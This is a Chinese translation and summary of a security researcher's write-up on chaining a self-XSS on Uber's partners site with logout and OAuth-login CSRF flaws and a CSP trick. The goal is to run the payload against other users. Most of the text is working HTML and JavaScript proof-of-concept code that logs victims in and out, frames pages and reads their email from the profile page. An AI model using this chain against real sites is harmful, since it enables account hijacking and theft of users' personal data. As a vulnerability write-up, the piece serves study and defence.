作者通过精心设计,将一个鸡肋的的self-XSS和两个鸡肋的csrf变成了一个高质量的漏洞。
原文:
https://fin1te.net/articles/uber-turning-self-xss-into-good-xss/
在Uber一个设置个人信息的页面上,我找到一个非常简单且经典的XSS漏洞。设置项中随便修改一个字段为<script>alert(document.domain);</script>
就可以执行并弹框。
一共花了两分钟找到这个漏洞,但是我们要来点更有意思的。
可以在网页中运行外界可控的任意JS脚本就被称为XSS漏洞,这时候你一般可以去读取其他用户的Cookies,或者发出一些请求。但是如果你只能对自己做这些,而不是其他用户,比如这段代码只会在你能看到的页面里面运行,这就被称为self-XSS。这种情况下,即使我们发现了漏洞,也很难去影响其他人。
我犹豫了一会,但是我后来决定试试,看能不能去掉这个"self"。
Ubser的OAuth登录流程也是很经典的
partners.uber.com
login.uber.com
partners.uber.com
,同时URL中携带code
,可以用来换取Access Token从上面的截图你可以看到,OAuth的回调地址/oauth/callback?code=...
并没有使用标准推荐的state
参数,这意味着登录功能存在CSRF的问题,但是不好说会不会造成严重的问题。
同时,在退出登录的地方也有一个CSRF漏洞,当然这一般不会认为是漏洞。访问/logout
会清除用户partner.uber.com
的session,然后再重定向到login.uber.com
的退出登录页面,清除login.uber.com
的session。
因为我们的payload只存在于自己的账号中,我们可以让其他用户登录进我们的账号,然后payload就会执行,不过登录我们的账号会清除他们之前所有的session,这就让漏洞大打折扣了。所以我们要把漏洞放在一起利用。
我们的计划就是这样的了
partner.uber.com
,但是不要登出login.uber.com
,这样后面可以让用户重新回到原有账号首先发送一个请求到https://partners.uber.com/logout/
,然后就可以登录我们的账号了。但是问题在于退出登录的重定向最终会到达https://login.uber.com/logout/
,导致另外一个域名也退出登录。我们能不能控制呢?
我的方法就是使用Content Security Police来设置可以加载的域名。我只设置了允许请求partners.uber.com
,login.uber.com
就会被浏览器拦截。
1
2
3
4
|
<!-- 设置CSP策略阻止访问 login.uber.com -->
<
meta
http-equiv
=
"Content-Security-Policy"
content
=
"img-src https://partners.uber.com"
>
<!-- 退出登录 partners.uber.com -->
<
img
src
=
"https://partners.uber.com/logout/"
>
|
这样是可以的,CSP会有下面的提示
这一步相对来说简单了一些,我们向https://partners.uber.com/login/
发送一个请求(这一步是必须的,否则我们没法接收到回调)。上面我们用了CSP的trick来阻止部分流程,这里我们就需要用我自己的code
来让用户登录了。
因为CSP会触发onerror
,我们就可以在那里面跳转到下一步了。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
<!-- CSP策略会阻止访问 login.uber.com -->
<
meta
http-equiv
=
"Content-Security-Policy"
content
=
"img-src partners.uber.com"
>
<!-- 退出登录 partners.uber.com,在跳转到login.iber.com的时候触发onerror -->
<
img
src
=
"https://partners.uber.com/logout/"
onerror
=
"login();"
>
<
script
>
//初始化登录
var login = function() {
var loginImg = document.createElement('img');
loginImg.src = 'https://partners.uber.com/login/';
loginImg.onerror = redir;
}
//用我们的code登录
var redir = function() {
// 为了方便测试,code放在url hash中,实际需要动态的获取
var code = window.location.hash.slice(1);
var loginImg2 = document.createElement('img');
loginImg2.src = 'https://partners.uber.com/oauth/callback?code=' + code;
loginImg2.onerror = function() {
window.location = 'https://partners.uber.com/profile/';
}
}
</
script
>
|
这一部分的代码将会有XSS的payload,在我的账号中。
只要payload一运行,就可以切换回原来的账号了。这个必须在iframe中,因为需要保持payload一直运行。
1
2
3
4
|
// 创建一个iframe,让用户退出登录我的账号
var
loginIframe = document.createElement(
'iframe'
);
loginIframe.setAttribute(
'src'
,
'https://fin1te.net/poc/uber/login-target.html'
);
document.body.appendChild(loginIframe);
|
iframe里面还是用CSP的trick
1
2
3
4
5
6
7
8
|
<meta http-equiv=
"Content-Security-Policy"
content=
"img-src partners.uber.com"
>
<img src=
"https://partners.uber.com/logout/"
onerror=
"redir();"
>
<script>
//使用用户login.uber.com的session重新登录
var
redir =
function
() {
window.location =
'https://partners.uber.com/login/'
;
};
</script>
|
最后一部分是创建另外一个iframe,这样可以获取一些数据了
1
2
3
4
5
6
7
8
9
10
11
12
13
|
//等待几秒,加载个人信息页面,这是用户原始的信息
setTimeout(
function
() {
var
profileIframe = document.createElement(
'iframe'
);
profileIframe.setAttribute(
'src'
,
'https://partners.uber.com/profile/'
);
profileIframe.setAttribute(
'id'
,
'pi'
);
document.body.appendChild(profileIframe);
//提取email信息
profileIframe.onload =
function
() {
var
d = document.getElementById(
'pi'
).contentWindow.document.body.innerHTML;
var
matches = /value=
"([^"
]+)
" name="
email"/.exec(d);
alert(matches[1]);
}
}, 9000);
|
因为我们最终的这个iframe是在个人信息页面加载的,是同源的,而且X-Frame-Options
也是设置的sameorigin
而不是deny
,所以我们使用contentWindow
是可以访问到里面的内容的。
code
这个漏洞很有意思,启发我们要在一个更高的层面去挖掘和思考安全漏洞。